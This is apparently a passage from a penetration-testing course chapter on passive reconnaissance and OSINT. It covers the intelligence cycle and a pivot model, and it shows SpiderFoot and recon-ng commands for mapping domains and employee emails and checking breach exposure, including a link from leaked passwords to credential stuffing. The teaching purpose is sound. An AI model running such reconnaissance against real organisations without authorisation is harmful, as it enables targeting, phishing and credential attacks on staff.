&lt;th&gt;Passive Recon&lt;/th&gt;
&lt;th&gt;Active Recon&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Legal risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None — accessing public info&lt;/td&gt;
&lt;td&gt;Potential CFAA violation if unauthorized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Detection risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Zero — no target interaction&lt;/td&gt;
&lt;td&gt;High — generates logs on target systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pre-authorization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can be performed before authorization is signed&lt;/td&gt;
&lt;td&gt;Must only be performed after authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Log evidence&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No traces on target&lt;/td&gt;
&lt;td&gt;Target's IDS/IPS/firewall logs activity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Timing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can begin day 1 of engagement&lt;/td&gt;
&lt;td&gt;Begins only after ROE is signed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Critical professional practice:&lt;/strong&gt; Many penetration testers begin passive reconnaissance immediately after being engaged — even before the contract is finalized — because it generates zero legal risk and the intelligence gathered informs the scoping conversation with the client.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Passive-Active Spectrum
&lt;/h4&gt;

&lt;p&gt;Some activities exist in a gray zone:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Classification&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google search for target domain&lt;/td&gt;
&lt;td&gt;Passive&lt;/td&gt;
&lt;td&gt;No target interaction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accessing target's public website&lt;/td&gt;
&lt;td&gt;Active&lt;/td&gt;
&lt;td&gt;Generates server logs on target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WHOIS via third-party service&lt;/td&gt;
&lt;td&gt;Passive&lt;/td&gt;
&lt;td&gt;Third party handles the lookup&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS query via your own resolver&lt;/td&gt;
&lt;td&gt;Active&lt;/td&gt;
&lt;td&gt;Your resolver queries target's authoritative DNS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS query via a third-party tool&lt;/td&gt;
&lt;td&gt;Passive&lt;/td&gt;
&lt;td&gt;Third party generates the query&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shodan search for target IPs&lt;/td&gt;
&lt;td&gt;Passive&lt;/td&gt;
&lt;td&gt;Shodan already scanned; you view results&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Running nmap against target IP&lt;/td&gt;
&lt;td&gt;Active&lt;/td&gt;
&lt;td&gt;Direct packets to target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate Transparency logs&lt;/td&gt;
&lt;td&gt;Passive&lt;/td&gt;
&lt;td&gt;Accessing third-party CT log databases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Understanding this spectrum allows you to plan exactly what can be done before authorization and what requires a signed contract.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.1.3 The OSINT Methodology — How Professionals Think
&lt;/h3&gt;

&lt;p&gt;OSINT is not random searching. Professional intelligence analysts follow a structured methodology derived from military and intelligence community practices.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Intelligence Cycle
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│                   INTELLIGENCE CYCLE                     │
│                                                          │
│  1. PLANNING &amp;amp; DIRECTION                                 │
│     Define intelligence requirements                     │
│     What do we need to know? Why?                       │
│          ↓                                               │
│  2. COLLECTION                                           │
│     Gather raw data from multiple sources               │
│          ↓                                               │
│  3. PROCESSING                                           │
│     Convert raw data into usable format                 │
│          ↓                                               │
│  4. ANALYSIS &amp;amp; PRODUCTION                               │
│     Evaluate, correlate, and interpret data             │
│          ↓                                               │
│  5. DISSEMINATION                                        │
│     Deliver intelligence to decision makers             │
│          ↓                                               │
│  6. FEEDBACK                                            │
│     Refine requirements based on results                │
│          └────────────────────────────────────┘         │
└─────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  OSINT Intelligence Requirements for Penetration Testing
&lt;/h4&gt;

&lt;p&gt;At the start of passive recon, define what you need to know:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Infrastructure Intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What IP address ranges does the organization own?&lt;/li&gt;
&lt;li&gt;What domain names and subdomains does the organization operate?&lt;/li&gt;
&lt;li&gt;What hosting providers and cloud services does the organization use?&lt;/li&gt;
&lt;li&gt;What technologies (web servers, frameworks, databases) are in use?&lt;/li&gt;
&lt;li&gt;What externally accessible services are running?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Organizational Intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Who are the key technical personnel (IT staff, developers, security team)?&lt;/li&gt;
&lt;li&gt;What does the organizational chart look like?&lt;/li&gt;
&lt;li&gt;What vendors and third-party services does the organization use?&lt;/li&gt;
&lt;li&gt;What business units exist and what are their functions?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Human Intelligence (HUMINT):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the email address formats used by the organization?&lt;/li&gt;
&lt;li&gt;What information do employees publicly share about their work and technologies?&lt;/li&gt;
&lt;li&gt;What skills do employees list (revealing technologies in use)?&lt;/li&gt;
&lt;li&gt;What security awareness level do employees demonstrate?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Reputational Intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Has the organization suffered previous data breaches?&lt;/li&gt;
&lt;li&gt;What is the organization's public security posture?&lt;/li&gt;
&lt;li&gt;Are there leaked credentials in breach databases?&lt;/li&gt;
&lt;li&gt;What does the organization's dark web footprint look like?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Historical Intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What did the organization's infrastructure look like in the past?&lt;/li&gt;
&lt;li&gt;What technologies have they used and potentially still use?&lt;/li&gt;
&lt;li&gt;What security incidents have been publicly reported?&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  The Pivot Model
&lt;/h4&gt;

&lt;p&gt;Professional OSINT analysts use a technique called &lt;strong&gt;pivoting&lt;/strong&gt; — using one piece of intelligence to unlock additional intelligence. Every data point discovered can be used to find more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Organization Name
    ├── Domain Name
    │       ├── IP Addresses (DNS A records)
    │       │       ├── ASN / IP Range
    │       │       │       └── Other IPs in the range → More targets
    │       │       └── Geolocation → Data center / hosting provider
    │       ├── Subdomains
    │       │       └── Each subdomain → New IP → New services
    │       ├── Mail Servers (MX records)
    │       │       └── Email provider → Office 365? G Suite?
    │       └── SSL Certificates
    │               └── Subject Alternative Names → Hidden subdomains
    ├── Executive Names (from LinkedIn)
    │       ├── Email address (using email format)
    │       │       └── Breach data → Leaked passwords → Credential stuffing
    │       └── Social media → Technology disclosures
    └── Job Listings
            └── Technology stack ("requires experience with AWS, Kubernetes, HashiCorp Vault")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This pivot model means that starting with only an organization's name, a skilled analyst can map out the entire attack surface before touching a single target system.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.1.4 OSINT Tools — The Complete Professional Arsenal
&lt;/h3&gt;

&lt;h4&gt;
  
  
  OSINT Framework
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://osintframework.com/" rel="noopener noreferrer"&gt;https://osintframework.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Reference/Navigation Tool&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free&lt;/p&gt;

&lt;p&gt;OSINT Framework is the foundational resource for any OSINT practitioner. Created by Justin Nordine, it is an interactive, hierarchically organized map of hundreds of OSINT tools and techniques, organized by the type of data you have (starting point) and what you want to find.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Structure of OSINT Framework:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The framework is organized as a tree starting from the type of indicator you possess:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSINT Framework Root
├── Username
│   ├── Username Search Engines (Sherlock, WhatsMyName)
│   ├── Social Networks
│   └── Forums / Communities
├── Email Address
│   ├── Email Reputation
│   ├── Breach Data
│   └── Associated Accounts
├── Domain Name
│   ├── WHOIS Records
│   ├── DNS Records
│   ├── Subdomains
│   └── Website Analysis
├── IP Address
│   ├── Geolocation
│   ├── Reverse DNS
│   └── Network Information
├── Image / Photo
│   ├── Reverse Image Search
│   └── Facial Recognition
├── Phone Number
│   ├── Carrier Lookup
│   └── Social Media Linked
└── ... (hundreds more branches)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How professionals use OSINT Framework:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start with what you have (e.g., an email address from a job listing)&lt;/li&gt;
&lt;li&gt;Navigate to that branch in the framework&lt;/li&gt;
&lt;li&gt;Identify which tools are most appropriate for your objective&lt;/li&gt;
&lt;li&gt;Execute the tools in sequence, pivoting from each result&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Notation in OSINT Framework:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;(T)&lt;/strong&gt; — Tool (requires installation or technical setup)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;(D)&lt;/strong&gt; — Dynamic (content changes based on input)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;(R)&lt;/strong&gt; — Requires registration/account&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;(M)&lt;/strong&gt; — Malware warning (use with caution)&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  OSINT Combine
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.osintcombine.com/" rel="noopener noreferrer"&gt;https://www.osintcombine.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Tool collection and automation platform&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Partially free; premium features available&lt;/p&gt;

&lt;p&gt;OSINT Combine is a professional-grade platform developed by Australian OSINT specialists containing tools designed for specific, high-value OSINT tasks. It differentiates itself by focusing on automation and efficiency — reducing the manual effort of common OSINT workflows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key tools available on OSINT Combine:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Image Metadata Viewer:&lt;/strong&gt; Extracts and displays EXIF metadata from images (GPS coordinates, camera model, timestamps) directly in the browser without downloading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Social Media Search:&lt;/strong&gt; Cross-platform username and content searches designed to overcome the limitations of native platform search interfaces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Map Searching Tools:&lt;/strong&gt; Specialized tools for geolocation analysis and map-based OSINT (verifying locations from photos, tracking movements from social media content).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Domain Investigation Tools:&lt;/strong&gt; DNS history, WHOIS lookups, and subdomain enumeration integrated into a unified workflow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bulk Data Processing:&lt;/strong&gt; Tools for processing large datasets (e.g., processing multiple usernames or email addresses simultaneously).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Professional Application:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
OSINT Combine is particularly valuable for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Social media investigations (identifying accounts across platforms)&lt;/li&gt;
&lt;li&gt;Geolocation of images shared by employees (potentially revealing office locations, travel patterns, physical security details)&lt;/li&gt;
&lt;li&gt;Bulk processing when handling large employee lists from LinkedIn&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  SMART — Start.me Aggregated Resource Tool
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://smart.myosint.training/" rel="noopener noreferrer"&gt;https://smart.myosint.training/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; OSINT bookmark aggregator and search interface&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Created by:&lt;/strong&gt; My OSINT Training (MOT) Team&lt;/p&gt;

&lt;p&gt;SMART solves a specific problem in OSINT practice: the fragmentation of resources. Thousands of practitioners maintain OSINT resource lists on the start.me bookmarking platform. SMART indexes all of these public lists and provides a unified search interface across them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What makes SMART valuable:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you are looking for tools related to a specific intelligence requirement — say, "maritime vessel tracking" or "corporate registration databases for Brazil" — SMART quickly surfaces specialized resources that would otherwise require extensive searching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use cases:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finding country-specific OSINT resources (corporate registries, electoral rolls, court records)&lt;/li&gt;
&lt;li&gt;Discovering niche tools for specific data types&lt;/li&gt;
&lt;li&gt;Building a comprehensive resource list for a specific engagement type&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  SpiderFoot
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.spiderfoot.net/" rel="noopener noreferrer"&gt;https://www.spiderfoot.net/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/smicallef/spiderfoot" rel="noopener noreferrer"&gt;https://github.com/smicallef/spiderfoot&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Automated OSINT reconnaissance platform&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Open-source (SpiderFoot HX cloud version has costs)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Installation:&lt;/strong&gt; &lt;code&gt;pip3 install spiderfoot&lt;/code&gt; or from GitHub&lt;/p&gt;

&lt;p&gt;SpiderFoot is one of the most powerful automated OSINT tools in existence. It takes a single target indicator (IP address, domain name, email address, person name, or ASN) and automatically queries over &lt;strong&gt;200 data sources&lt;/strong&gt; to build a comprehensive intelligence profile.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How SpiderFoot Works:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SpiderFoot operates on a modular architecture. Each module queries a specific data source. When one module returns data, it triggers other modules that can use that data as input — creating an automated pivot chain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Input: targetcompany.com
    ↓
DNS Module → IP addresses: 203.0.113.50, 203.0.113.51
    ↓
IP Whois Module → ASN: AS12345, Organization: Target Company Inc.
    ↓
Netblock Module → Full IP range: 203.0.113.0/24
    ↓
Port Scanner Module → Open ports on all IPs in range
    ↓
Banner Grab Module → Service banners and versions
    ↓
Certificate Module → SSL certs → Subject Alternative Names → New subdomains
    ↓
Shodan Module → Shodan data for each IP
    ↓
Breach Module → Check emails against HaveIBeenPwned
    ... (200+ modules)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SpiderFoot Modules of Highest Value for Penetration Testers:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Module&lt;/th&gt;
&lt;th&gt;Data Source&lt;/th&gt;
&lt;th&gt;Intelligence Gathered&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_dnsresolve&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;IP addresses for domains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_ssl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SSL certificate analysis&lt;/td&gt;
&lt;td&gt;Subject alternative names, cert history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_shodan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shodan API&lt;/td&gt;
&lt;td&gt;Open ports, services, banners&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_whois&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;WHOIS&lt;/td&gt;
&lt;td&gt;Registrant info, nameservers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_hunter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hunter.io&lt;/td&gt;
&lt;td&gt;Email addresses from domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_hibp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HaveIBeenPwned&lt;/td&gt;
&lt;td&gt;Breach exposure of emails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_linkedin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LinkedIn&lt;/td&gt;
&lt;td&gt;Employee names and roles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_github&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;GitHub&lt;/td&gt;
&lt;td&gt;Source code, credentials, configs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_pastebin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pastebin&lt;/td&gt;
&lt;td&gt;Leaked data mentioning target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_virustotal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;VirusTotal&lt;/td&gt;
&lt;td&gt;URL/IP reputation, malware association&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_threatcrowd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ThreatCrowd&lt;/td&gt;
&lt;td&gt;Threat intelligence correlation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sfp_googlesearch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Indexed pages, exposed files&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Running SpiderFoot:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;spiderfoot

&lt;span class="c"&gt;# Launch web interface&lt;/span&gt;
spiderfoot &lt;span class="nt"&gt;-l&lt;/span&gt; 127.0.0.1:5001

&lt;span class="c"&gt;# Command line scan&lt;/span&gt;
spiderfoot &lt;span class="nt"&gt;-s&lt;/span&gt; targetcompany.com &lt;span class="nt"&gt;-t&lt;/span&gt; INTERNET_NAME &lt;span class="nt"&gt;-o&lt;/span&gt; json &lt;span class="nt"&gt;-q&lt;/span&gt;

&lt;span class="c"&gt;# Scan with specific modules only&lt;/span&gt;
spiderfoot &lt;span class="nt"&gt;-s&lt;/span&gt; targetcompany.com &lt;span class="nt"&gt;-m&lt;/span&gt; sfp_dns,sfp_ssl,sfp_shodan &lt;span class="nt"&gt;-o&lt;/span&gt; json

&lt;span class="c"&gt;# Full passive scan (no active modules)&lt;/span&gt;
spiderfoot &lt;span class="nt"&gt;-s&lt;/span&gt; targetcompany.com &lt;span class="nt"&gt;--type&lt;/span&gt; passive &lt;span class="nt"&gt;-o&lt;/span&gt; json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SpiderFoot vs. Manual OSINT:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Time for Full Domain Recon&lt;/th&gt;
&lt;th&gt;Breadth&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Manual OSINT&lt;/td&gt;
&lt;td&gt;4-8 hours&lt;/td&gt;
&lt;td&gt;Depends on analyst skill&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SpiderFoot automated&lt;/td&gt;
&lt;td&gt;15-45 minutes&lt;/td&gt;
&lt;td&gt;200+ sources automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;SpiderFoot does not replace human analysis — it accelerates data collection so the analyst can focus on interpretation and pivoting.&lt;/p&gt;




&lt;h4&gt;
  
  
  Recon-ng
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/lanmaster53/recon-ng" rel="noopener noreferrer"&gt;https://github.com/lanmaster53/recon-ng&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Documentation:&lt;/strong&gt; &lt;a href="https://github.com/lanmaster53/recon-ng/wiki" rel="noopener noreferrer"&gt;https://github.com/lanmaster53/recon-ng/wiki&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Modular web reconnaissance framework&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free / Open-source&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Linux (included in Kali Linux)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Created by:&lt;/strong&gt; Tim Tomes (LaNMaSteR53)&lt;/p&gt;

&lt;p&gt;Recon-ng is a full-featured web reconnaissance framework written in Python. Its design is deliberately modeled after Metasploit — experienced penetration testers who know Metasploit will find recon-ng immediately familiar. It provides a powerful, module-based CLI for conducting systematic OSINT campaigns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why recon-ng is a professional standard:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Database backend:&lt;/strong&gt; All results are stored in a local SQLite database, enabling complex queries, cross-referencing, and persistent storage across sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workspace isolation:&lt;/strong&gt; Create separate workspaces for each client engagement, keeping data cleanly separated&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Module ecosystem:&lt;/strong&gt; Hundreds of modules covering every aspect of OSINT&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API key management:&lt;/strong&gt; Centralized management of API keys for services like Shodan, VirusTotal, Hunter.io&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reporting:&lt;/strong&gt; Built-in report generation from collected data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automation:&lt;/strong&gt; Scripting capability for repeatable reconnaissance workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;recon-ng Core Concepts:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Workspaces:&lt;/strong&gt; Isolated databases for each engagement&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[recon-ng][default] &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;workspaces create client_target_co
&lt;span class="gp"&gt;[recon-ng][client_target_co] &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Modules:&lt;/strong&gt; The intelligence-gathering engines&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[recon-ng][client_target_co] &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;modules search domains
&lt;span class="go"&gt;[*] Searching for 'domains'...

  Discovery
  ---------
    discovery/info_disclosure/interesting_files

  Recon
  -----
    recon/domains-contacts/hunter_io
    recon/domains-credentials/pwnedlist_domain_credentials
    recon/domains-domains/brute_suffix
    recon/domains-hosts/bing_domain_web
    recon/domains-hosts/brute_hosts
    recon/domains-hosts/certificate_transparency
    recon/domains-hosts/google_site_web
    recon/domains-hosts/netcraft
    recon/domains-hosts/shodan_hostname
    recon/domains-hosts/ssl_san
    recon/domains-vulnerabilities/punkspider
    recon/domains-vulnerabilities/xssed
    recon/domains-vulnerabilities/xssposed
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The recon-ng Module Naming Convention:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;category/subcategory/source

recon/domains-hosts/certificate_transparency
 │         │              │
 │         │              └── Data source used
 │         └── What you HAVE → What you GET (domains → hosts)
 └── Module category
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common recon-ng Workflow:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Launch recon-ng&lt;/span&gt;
recon-ng

&lt;span class="c"&gt;# Create workspace for engagement&lt;/span&gt;
workspaces create targetco_engagement_2024

&lt;span class="c"&gt;# Add seed domain&lt;/span&gt;
db insert domains targetco.com

&lt;span class="c"&gt;# Find subdomains via certificate transparency&lt;/span&gt;
modules load recon/domains-hosts/certificate_transparency
run

&lt;span class="c"&gt;# Find subdomains via Bing&lt;/span&gt;
modules load recon/domains-hosts/bing_domain_web
run

&lt;span class="c"&gt;# Resolve all discovered hosts to IPs&lt;/span&gt;
modules load recon/hosts-hosts/resolve
run

&lt;span class="c"&gt;# Find email addresses for domain&lt;/span&gt;
modules load recon/domains-contacts/hunter_io
options &lt;span class="nb"&gt;set &lt;/span&gt;SOURCE targetco.com
run

&lt;span class="c"&gt;# Check emails against breach data&lt;/span&gt;
modules load recon/contacts-credentials/hibp_breach
run

&lt;span class="c"&gt;# Generate HTML report&lt;/span&gt;
modules load reporting/html
options &lt;span class="nb"&gt;set &lt;/span&gt;FILENAME /tmp/targetco_recon_report.html
run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;High-Value recon-ng Modules:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Module&lt;/th&gt;
&lt;th&gt;Input&lt;/th&gt;
&lt;th&gt;Output&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;recon/domains-hosts/certificate_transparency&lt;/code&gt;&lt;/td&gt;
